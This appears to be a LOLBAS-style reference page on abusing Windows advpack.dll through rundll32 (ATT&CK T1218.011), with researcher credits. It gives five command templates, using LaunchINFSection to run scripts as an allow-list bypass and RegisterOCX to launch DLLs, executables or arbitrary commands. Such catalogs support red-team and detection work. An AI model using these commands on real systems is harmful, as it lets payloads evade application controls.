01 / TRADECRAFT
5 examplesCommand reference
AWL Bypass2
EXAMPLE 01T1218.011
Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).
COMMAND
rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,EXAMPLE 02T1218.011
Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).
COMMAND
rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,Execute3
EXAMPLE 01T1218.011
Launch a DLL payload by calling the RegisterOCX function.
COMMAND
rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}EXAMPLE 02T1218.011
Launch an executable by calling the RegisterOCX function.
COMMAND
rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}EXAMPLE 03T1218.011
Launch command line by calling the RegisterOCX function.
COMMAND
rundll32 advpack.dll, RegisterOCX {CMD}02 / ON DISK
Known paths
c:\windows\system32\advpack.dllc:\windows\syswow64\advpack.dll03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
REFERENCE IMPLEMENTATIONS
Code samples
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Jimmy (LaunchINFSection)@bohops
Fabrizio (RegisterOCX - DLL)@0rbz_
Moriarty (RegisterOCX - CMD)@moriarty_meng
Nick Carr (Threat Intel)@ItsReallyNick